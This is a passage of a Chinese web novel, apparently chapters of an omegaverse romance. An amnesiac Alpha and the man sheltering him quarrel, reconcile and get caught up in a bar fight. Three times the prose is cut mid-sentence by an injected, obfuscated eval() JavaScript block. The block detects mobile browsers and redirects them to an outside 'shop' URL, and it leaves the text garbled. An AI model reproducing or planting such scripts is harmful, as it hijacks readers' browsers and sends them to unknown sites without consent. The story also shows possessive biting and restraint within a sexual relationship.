魏杰来回看了看俩人,摸不到头脑,他压根无法想象韩闻烁家里竟然会有个男的。 神奇。 “行了,魏杰,麻烦你送我回来,我没事。”韩闻烁也拍拍他,“早点回去休息。” 魏杰哦了两声,应道,“行,你也早点睡,喝点解酒的啊,不然又伤胃。” “知道了。”韩闻烁把他推出门,“改天见。” 门关上,房间里安静了几秒。 韩闻烁伸手拽江临起来,“别蹲这儿了,睡觉去,凌晨两点还不睡觉,你是想变猫头鹰?” 江临站起身,韩闻烁打了个哈欠,趿着拖鞋往屋里走,“算了,你不睡我睡,困死——” 江临反握住他的手。 “手机为什么关机?为什么不理我?为什么喝这么多酒?还有,送你回来的人是谁?你们什么关系?” 韩闻烁本来就头疼,被江临问了这么一串,只觉得脑袋都要炸了。 他甩开江临的手,“你是十万个为什么吗?” “关机当然是为了躲你烦我。” “别说了,我要睡觉。”韩闻烁困得睁不开眼,“有什么事明早再说。” 江临一步上前,按住韩闻烁的后颈,咬了上去。 他能感觉到,除了酒气,韩闻烁身上还有其他人的味道。虽然不是信息素,而且微弱,但他作为S级Alpha对气味格外敏感,骗不过他。 他不喜欢韩闻烁身上有别人的味道,除了他,任何人的都不行。 会是谁的味道?刚才那个男人的?还是又在外边认识了什么新人,像和他那晚一样,喝醉了,在路边随便找了个人接吻。 想到这儿,他齿间加重了些力道,咬破韩闻烁后颈的皮肉。 韩闻烁疼得嘶了口气,他抬起手臂往后怼江临,可他喝醉了没那么大力气,一下被江临抓住,干脆揽进了怀里。 “疼!”他跟江临抗议,“你能不能别他妈咬我!” 江临从背后紧紧抱住他,沉重地在他颈后呼吸,汲取他的味道,“哥,你已经烦我了吗?” “对!”韩闻烁不客气道,“当然烦你,正常人谁他妈十分钟发四五条消息催,还打电话。” 说着,他从裤兜里拿出手机,按了开机。 果然,在他关机的时间里,竟然有十几通未接电话,都是江临。 他把通话记录怼到江临眼前,“这就是我特么为什么关机!不关机难道等着被你烦死吗?” 江临愣了愣,看着手机上显示的时间,感觉不太真切。 他声音弱下来,“我没有……” “你再说你没有?”韩闻烁推开他,转身又调出他们的聊天记录,“来,你自己看,几点发的。” “九点三十五,九点三十八,九点四十。”韩闻烁觉得他简直不可理喻,“五分钟你问我三遍什么时候回来,还说没有?” “……”江临怔怔地看着手机上的字,记忆仿佛碎在他脑海中,根本无法拼凑成完整的一块。 不对,不是这样的。 他没有,他明明…… “今天这事儿我就不和你计较了。”韩闻烁拿手机指着他,点了又点,“不要以为我收留你你就真能把自己当主人了,少他妈管我。我去哪儿,和谁吃饭喝酒,什么时候回家,都跟你没关系。” “有关系。”江临固执地挡在韩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285879|198433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻烁面前,不让他走。 “你他妈——”韩闻烁气得一口气儿提不上来。 他还真给自己请了个祖宗回来。 “我说了,我唯一的要求就是你不能离开我。”江临目色沉沉地盯着他,“尤其在我易感期的时候。” 韩闻烁深深缓了口气,扶住额头片刻,劝自己要忍住,他大人不记小人过,可忍了又忍,他还是受不了江临这么管着他。 从小到大他被管得够多了,爸妈管他还不算完,现在又多了一个江临,跟看孙子一样看着他。 真的…… 太过分了。 “我这特么不是回来了吗!”韩闻烁泄愤似的朝沙发凳上踢了一脚,“我在聚会啊祖宗!你非要像盯贼一样盯着我吗!” “你算老几啊,凭什么这么管着我!我连这点自由都没有了是吗!而且就算退一万步说,咱俩的关系也只是炮友!你管不着我!” 下一秒,江临手掌用力捂住了他的嘴。 韩闻烁的话都变成了呜呜声。 尽管如此,江临听得出来,不是什么好话,在问候他祖宗十八代。 他把韩闻烁逼得倒退,摔进沙发里,他屈膝顶开韩闻烁的腿,居高临下地俯视他,神色不悦,“哥,你真的很过分。” 韩闻烁在他手心上狠狠咬了一口,挣开他的手,呸了一声,“日你大爷!到底谁过分!” 韩闻烁气急了,使出浑身力气把江临推开,“行,我过分是吧,这一切都算我贱,你现在就给我滚!” 韩闻烁大步朝门口走去,一把拽开门,怒视着江临道,“有手有脚,不用我请你出去吧?” 江临心脏颤了颤,挑起一侧眉,问,“你认真的?” “对!”韩闻烁正在气头上,更口不择言,“认真得不能再认真了,我受不了你也受不了我,既然彼此都不好过那就别勉强,这是我家,你滚。” 江临喉咙上下滚动一圈,片刻,迈步走过去。 韩闻烁更不客气,一把将他推了出去,“滚!” 随后,重重摔上了门。 屋里瞬间清净了。 韩闻烁深深吸了口气,觉得浑身舒爽,终于没人烦他了,江临成天在他耳边叽叽喳喳地叫“哥”,听得他耳朵都起茧子。 他朝卧室走去,准备洗个澡就美美睡上一觉。推开门的瞬间,他更傻眼了。 …… 他衣柜里几乎一半的衣服都被掏出来扔在了床上,乱糟糟的堆成一团,中间有个洞,像在絮窝。 想都不用想是谁干的。 韩闻烁牙根都痒了,“疯子!” 他懒得收拾,又回身往外走,“睡沙发得了。” 他更觉得自己刚才的决定是正确的,他和江临根本不合适,连当炮友也不行。两个人只是睡了几次,又因为江临失忆,他才迫不得已收留他。如今—— 想到这儿,韩闻烁一下顿住步子,被酒精麻痹的大脑清明了几分。 失忆?解离失忆症。 医生说什么来着……? 时间感知错乱。 时间? “操。” 韩闻烁一瞬间明白过来什么,抓起衣服往外跑。 他才是疯子。 12. 第 12 章 韩闻烁直奔楼下,先在小区里快速绕了一圈,但半个人影都没找见。 深夜的秋风再加上酒精作祟,吹得他头疼。他不得不裹紧大衣,快步朝小区外走去。 前后不过十五分钟,江临能跑哪儿去呢? 出门的时候手机也不带,也不拿个外套…… 韩闻烁心烦地啧了一声。 江临也是笨。 让他滚就真滚了?平时把他按上床那劲呢?而且一个呆子大半夜乱跑什么,不会在门口多等一会儿? 韩闻烁越想越心烦,沿着街边边走边喊,“江临!” “江临!” 路边有家二十四小时营业的便利店,韩闻烁推门进去就问,“你好,请问你有没有看见一个这么高的男生。” 他往自己头顶上方一点比划了一下,“很瘦,穿得也少。” 收银员对他摇了摇头。 韩闻烁心下揪住,点头道,“打扰了,谢谢。” 没有看到……难道是他找的方向不对? 韩闻烁从便利店出来,望着左右两侧都宽阔笔直的路,一时不知该往哪边走才好。 这怎么找呢? 犹豫片刻,他硬着头皮往反方向走。不管往哪边走,总比待在原地强。 “江临!”他声音放得更高,“江临!你能听见吗!” “你听见答应我一声!我错了还不行吗!” 转角碰上一家还在营业的药店,韩闻烁不抱什么希望,但还是上前问了句。 店员大叔听完韩闻烁的描述一拍手道,“哦!我刚见过一个和你说的差不多的男生。” 韩闻烁眼睛一亮,双手紧紧扒在柜台边,问,“真的?他往哪儿走了?” 大叔嘶了口气又说,“不过也不太一样,他是和两个女孩一起来的,还受了点皮外伤,从我这儿买了点药走。不知道是不是你要找的人啊?” 韩闻烁又失落下来。 那大概率不会是江临了。 “他们出门之后好像往右边走了,就几分钟之前,要不你去找找?” “好……”韩闻烁点头,应付道,“我去看看,谢了。” 江临到底能去哪儿呢? 他死马当活马医,按着药店大叔指的方向去找,往前走了两百米,忽然在马路边看见个人影。 韩闻烁脚步顿住,仔细分辨了下那人的身影。 好像真的是…… “江临!”韩闻烁大步跑过去,一把掰过他的肩,“你坐这儿干什么!” 江临愣住几秒,好不容易才从喉咙间挤出半个音节,“……哥?” 韩闻烁急忙把自己身上的外套脱下来罩到江临身上,“回家吧,我,我刚才不应该那样,我错了,哥跟你道歉。” 他说这些话时不太自然,也没去看江临的眼睛,视线往下,落在他手臂上。 鲜红的一条血印。 “你他妈这又怎么弄的!”韩闻烁一下抓起他手臂,“啊?说话啊!” 难道药店大叔见到的人真是江临。 江临抽回手,“刚才遇到两个女生,帮了她们一下,没什么。” 他站起身,垂眼看韩闻烁,淡漠道,“你不用管我。” “喂,你去哪儿!”韩闻烁两步追上去,拽住他手腕,“别闹了,跟我回去。” 江临回过身,脸上仍没什么表情,“是哥说的,我们没有关系,所以我就算死了,哥也不用管我。” 韩闻烁咬咬牙,“……” “我说的是气话,我错了,错了还不行吗。再说你现在能上哪儿去,大半夜的冷死了,赶紧跟我回家。” “警察局,精神病院,这些地方不是都很适合我吗?”江临将身上披着的外套拿掉,递回给韩闻烁,“天气很凉,哥不要冻感冒了,我没关系。” 操! 韩闻烁在心里怒骂,这小子还真记仇。 “我再给你最后一次机会,现在就跟我回家,别废话。” 江临抬眼看他,问,“我以什么身份回你家?” 韩闻烁:“……捡来的狗。” 江临甩开他的手,拎起地上的药盒就要走,“我不喜欢给人当狗。” 韩闻烁脾气上来,叉着腰在他身后喊,“你不是狗那我身上这些牙印都是谁咬的!” 江临不理他,自顾自往前走。 韩闻烁一步一步跟在他身后,“……是来借住的小朋友,行了吧?” 江临没回头。 “室友。”韩闻烁又退让一步。 江临还没有要停的意思。 韩闻烁心一横,心说他今天非把江临弄回家去不可。 他豁出去了,“老公!” 江临回过身来。 韩闻烁:“……” 还得是对症下药哈。 他不好意思地挠挠脸颊,“现在,现在能回家了吧?” “对不起,我说的真是气话。”韩闻烁垂下脑袋小声嘟囔,“我,我没嫌你烦,明知道你——” 有病。 算了。 韩闻烁叹口气,“总之都是我不对,您大人不计——” 江临走到他面前,微微低头,含住了他嘴唇。 韩闻烁一瞬间攥紧了拳头。 但忍住了往江临脸上挥的冲动。 - “到底怎么搞的啊?”回到家里,韩闻烁一边给江临手臂上的伤上药,一边问,“遇上什么事儿了?” 江临盯着韩闻烁小心翼翼的动作,目色柔软了几分,连声音也放轻,“就是有两个男的拦路,不让她们走,我正好看到了,上去帮个忙。” “打架了?” “不算。”江临说。 “那这怎么伤的?”韩闻烁皱眉,不满道,“这么长一条,你是受伤专业户?” “好像是对方身上戴的项链划的,我没看清。” 韩闻烁:“……笨死了,自身难保还敢上去帮忙。” “吃醋了?”江临问。 “吃个屁的醋!这有什么好吃醋的!”韩闻烁一激动,手上力气没控制好,“傻吧你。” 江临疼得直皱眉。 “草,我弄不好,你自己来。”韩闻烁把药水和棉签往桌上一扔。他就没这么仔细给谁上过药。 “哥……”江临轻声叫他,“我疼。” 韩闻烁沉默又沉默。 这死小子怎么还会撒娇呢? 他又拿出一根棉签,语气不善道,“疼也忍着,活该。” 折腾了一晚上,天都快蒙蒙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285880|198433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮了。 回到卧室,韩闻烁才想起来自己这一床的衣服,又把江临揪过来,“来来来,你给我解释一下这是怎么回事?” 江临顿了下说,“我好像……又快到易感期了。” 按理说,Alpha的易感期不会这么频繁。他也不知道自己是怎么了。 韩闻烁:? 这两者有什么必然的联系吗? “说点我能听懂的行吗?”韩闻烁叉腰,“我不管,反正你弄出来的你给我收拾回去。” “明天收吧。” “那我今天睡——” 江临扯着他往自己卧室走,“和我一起。” 有韩闻烁在,他就不需要用那些衣服去汲取他的味道了。 - 这几天韩闻烁对店里的生意上心了点,搞得郭炜都觉得稀奇。 “太阳打西边出来了啊?”郭炜把这几个月的账递给韩闻烁,在他身旁坐下。 韩闻烁自己也取笑自己,道,“是打南边出来了。” 他边看账本,边问,“诶对了,下周是不是要周年庆了?” “是啊。”郭炜说,“你还记得呢。” “要搞什么活动吗?”韩闻烁问。 “就跟之前差不多,打折满减什么的吧。” “这次活动要不要力度大一点?”韩闻烁说,“我前几天刷到别的店搞了个女生免单的活动,好像效果不错,咱们也试试?” 郭炜有点犹豫,“来咱店里的本来就女孩多,这么整容易亏本吧?” 韩闻烁琢磨了下,点头,“也是,那试试五折?就周年庆那一天。” “行。”郭炜应下来,“那这几天我着手装饰一下店里,准备过周年庆。” “江临在这儿表现怎么样啊?”韩闻烁把账本放下。 他不是每天晚上都来店里,但倒是会把江临的一整天都安排得满满当当,上午理发店,下午烤肉店,晚上酒吧,累得江临好几天回家都没空折腾他,他很满意。 “挺好的啊,很老实,就是有点不爱说话。”郭炜说,“我这几天教他调酒呢,学得很快,但目前主要还是当服务生,等完全熟悉了再——” 说话间,有人火急火燎地推开了办公室的门。 “店长,不好了!江临和客人打起来了!” “啥?!”郭炜一听,慌里慌张地跟着小赵往外走,“咋打起来了?” “不知道啊,好好说着话点单呢,突然就打起来了。” 谁想到,韩闻烁跑得比他俩都快,几步就冲到了前厅。 桌边一阵熙熙攘攘,酒杯碎了一地,江临身上的制服也湿透了,耷拉着脑袋站在一旁。 几个服务生一左一右地拽着两个男人,接连给他们道歉。 韩闻烁上前一把拉过江临,质问道,“怎么回事儿?!” 江临往那边瞥了一眼,低声道,“他们就是那天晚上在街上拦路的那两个人。” 郭炜还以为韩闻烁要问责,他忙跟上去,挡在江临面前,“烁子你先别生气,问清楚再说。” 他笑呵呵地凑上去向两个男人询问情况。 其中一个寸头男人气势汹汹的,“你家服务员怎么回事?会不会干——” 韩闻烁一拳打了上去。 13. 第 13 章 郭炜一下懵了。 “哎——”他扯了一下韩闻烁没扯住。 转眼间,韩闻烁已经把那寸头男人按在了地上,又一拳照着下巴挥过去。 “找事儿没完是吧!”他揪着寸头的衣领,把人狠狠往地板上砸了下,哐当一声。 他正欲再度扬起拳头,却猛地被人掀翻在地。 同行的另一个高个男人不干了,一脚踹在他肋骨上,韩闻烁没顾上疼,一骨碌爬起来,怒气冲冲的,“王八蛋——” 郭炜忙扯住他,“烁子!” “你别拦我。”韩闻烁扒开郭炜的手,“我今天非把这俩傻逼打出去!” 他想都不用想,江临不会主动挑衅,肯定是这俩人看江临不顺眼故意找茬。 上次没碰见他算这俩货运气好,这回还欺负到他地盘上来了,打狗还得看主人呢。 那高个男人握紧了拳头,作势冲上来,那火气劲儿把四周人都吓得往后退,连郭炜都扯着韩闻烁躲,唯独江临往前迈了一步。 “哎哟!我头疼得不行了!”寸头男人躺在地上,拽住了高个。 俩人对视一眼,似乎是心照不宣地改变了策略。 韩闻烁更气不打一处来,傻逼还讹上他了。 他手指着寸头骂,“他妈是不是男人你!别跟老子装!有本事起来打啊!” 寸头捂着脑袋装得更变本加厉,“哎哟不行了,谁帮我叫个救护车!” “叫你大爷——” “闹什么呢!”门口传来洪亮的一声,“都散开,别看热闹了!” 不知道是哪个客人在这会儿功夫里报了警,他们酒吧一条街附近就有个派出所,因为经常遇上喝酒闹事的人,所以民警出警速度都很快。 寸头一看警察来了,更是直接往地上一躺,哭天喊地的。 高个男人立刻上前和警察解释,“警官,我们喝酒喝得好好的,这疯子上来就打我朋友,你看,这都打成啥样了。” 韩闻烁咬着后槽牙,没当着民警的面再给个傻逼一脚。 民警扫了眼现场的情况就大概有数了,他转头对韩闻烁无奈道,“跟我走一趟吧。” “还有地上那个,别装了。” 韩闻烁没忍住笑了一声,跟民警点头,“行,稍等我一分钟。” 他理了理衣领,回身嘱咐郭炜,“你留这儿,安抚一下客人,跟他们说今天都免单。” 郭炜点头,“好。” 韩闻烁上下打量一眼江临,又对郭炜道,“给他找身衣服换了。” “我跟你一起去。”江临主动道。 “不用。”韩闻烁微皱起眉,注意江临下巴上还挂着一点酒,他顺便抬手蹭掉,“就这点事儿,一会儿就回来了,照顾好你自己得了。” 他说完,转身跟着民警走了。 到了派出所,双方录了口供,民警看伤势都不重,有意调解,让韩闻烁赔点钱了事。但那寸头偏不干,非要做伤情鉴定,摆明了故意恶心人。 这会儿鉴定中心早就下班了,不接受调解也没法判定伤情,警察按流程不能放韩闻烁走。 “叫你朋友来一趟吧。”民警遇上无赖也没办法,只得和韩闻烁提备选方案,“当担保人,交下保证金,你就先回去等结果。” 韩闻烁:“......” 这种事,能让他麻烦的人选只有一个。 半个多小时后,潭知行签好保证书,把身份证从民警手里拿回来,“我们可以走了吗?” 警察点头,“嗯走吧,有消息再叫你来。” 韩闻烁跟着起身,也道谢,“麻烦了。” 从派出所出来,韩闻烁活动了下肩颈,伸手问潭知行要烟,“他妈的,气死我了。” “没有烟。”潭知行看他一眼,无奈道,“怎么回事?还能和客人打起来。” “他们欠揍呗。”韩闻烁拍拍他肩膀,嬉皮笑脸地凑过去,“辛苦你啊,这么晚把你从被窝里叫出来,你家那位没生气吧,改天我登门道谢啊。” 他酒肉朋友虽然多,但在这种时候最能靠得住的还得是潭知行。更重要的一点是,潭知行和他的圈子不一样。要是被那些朋友知道他打架进局子,不超二十四小时这事就能传他爸耳朵里去,到时候免不了又是一顿骂。 “不会。”潭知行道,“听说你出事,他还想跟我一起过来,被我按下了。” 韩闻烁听了笑笑。 还行,他平时没白对池燃这小子好。 “你伤得重吗?”潭知行又问,“用不用送你去医院看一眼?” “我没事儿。”韩闻烁撑开手臂动了动给他看,“你看,打架我不还是一流——” 潭知行拿胳膊肘怼了下他肋骨。 韩闻烁顿时捂住腰侧,痛得骂了一声,“操,你——” 潭知行摇摇头,迈开步子,“走吧,送你去医院,至少拍个片子。” “哎真不用。”韩闻烁两步追过去,“刚才闹那么一通,我回店里还有事儿呢。” 他还得回去看看江临怎么样了。 潭知行抓着他胳膊往车里推。 “哥。”他们身后有人叫了一声。 韩闻烁一个激灵回过身去,“江临?你过来干什么?” 江临在两人之间扫了眼,视线又落回韩闻烁身上,淡声道,“我不放心你,过来看看。” 潭知行记得这个人,那天在理发店门口和韩闻烁差点打起来,又是韩闻烁口中不小心睡了一觉的“仇人”。怎么转眼间,关系变得这么融洽了吗? 他默默放开韩闻烁手臂,“那我回去了,你记得自己去医院看。” “行,放心吧。”韩闻烁“砰”的一声替潭知行关上车门,“跟池燃说一声也别让他担心了。” 目送潭知行离开,韩闻烁随即感到自己手腕被人不轻不重地抓住了。 好疼,好久没这么疼过了。 可能是刚刚那几拳打得重了。 他回身,甩开江临的手,不满似的啧了一声,“你自己出来干什么?又走丢了怎么办?我刚从局子里出来转身还得去报案找你。” 江临:“我是失忆,不是失能。” 韩闻烁半信半疑地看看他,随后抬手掰着他的脸上下左右看了一圈,“伤到哪儿没有?他们跟你动手了吗?” “没。” “那就行。”韩闻烁松了口气。 这么漂亮一张脸要是被划个几道,他高低也得让那俩傻逼赔个几千块钱。 “哥,你跟他关系很好吗?”江临握在韩闻烁手腕上的力道不自觉加重。 他刚才远远看着韩闻烁和那人勾肩搭背就很不爽了,偏偏那人抓韩闻烁手臂韩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287008|198433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻烁也不反抗,尽管不合时宜,他还是控制不住自己卑劣的占有欲。 “嗯?”韩闻烁愣了下,“你说潭知行?” “好啊,好得很。刚才警察说需要有个人来担保我就叫他过来了。” 江临沉默着垂下眼。 所以是可以信任的程度…… 为什么不叫他来?偏偏舍近求远。 “一提这个我就生气,那傻逼非要做伤情鉴定。”韩闻烁一边叭叭一边扯着江临往回走,“拿鸡毛当令箭,下次让我看见他俩还揍他……” “哥。”江临停下步子。 “啊?” “对不起。”江临说。 韩闻烁摸不到头脑,“你有什么……” “是我不好,害你被人打。” “……”韩闻烁沉默几秒,抬手在江临脑袋上按了一把,“确实是你不好,被人泼了一身酒就在那儿傻站着?” “怎么不冲上去直接跟他们干,平时对我那劲儿呢?你要是把他们干趴下了,我至于挨那一脚么?” 他大概明白江临在自责什么。可冤家路窄这种事是小之又小的概率,怪不到他头上。 他又啧了一声,拿江临没办法。 这小子怎么还这么敏感呢。 “好了。”他轻轻在江临脑袋上揉了揉,“不怪你,是我自己看他俩来气。” 他想去握江临的手,但犹豫了下,还是转道攥住了他手腕。 “走了,回去。” 店里在郭炜的照料下又恢复正常营业,因为大多客人都是女孩子,韩闻烁担心吓到大家,免单之外,又让郭炜给每桌客人上了些甜品作为赔礼。 闹闹哄哄过了一晚上,回到家,韩闻烁往沙发上一瘫,不想动。 橘子皮走过来跳进他怀里,他揉揉小猫脑袋,又觉得心情好一点。 江临坐过来,把猫抱走,掀他衣服,吓得他连连往后躲,一只手压住衣角,“你干嘛?今天不可能做。” 他身上还疼呢。 江临的动作顿下,“我看看你的伤。” 韩闻烁:“……” 他缓缓松开手。 江临把他衣服卷了上去。 白皙的腰上青紫了一大块,格外显眼。 韩闻烁跟着瞅了一眼,不禁暗骂那傻逼下脚还挺重。 “小伤。”他说,“养两天就好了。” 江临手轻轻抚了上去,“很疼吗?” 韩闻烁嘴硬,“一般,就一般疼。” 江临手掌温热,在他腰间胸前来回抚摸,很快,韩闻烁就有了点别的反应。 他抓住江临的手扔开,“别他妈摸了。” 没两秒,江临眼睛一眨,一滴泪掉在了韩闻烁腰间。 韩闻烁:? “不是。”他掰起江临的脸来,“你又哭啥啊?受伤的是我。” 他真不明白了。 江临眉间泛红,像是受了多大的委屈,“哥,你不能不要我。” 韩闻烁:“……” 他不是那个意思啊! 眼看着江临一滴接着一滴地掉眼泪,韩闻烁真服了。 真,踏马,服了。 他忍着痛,一翻身坐起来,跨到江临腿上,抓着他手往自己身上放。 “摸,摸个够,今天你不摸还不行了。”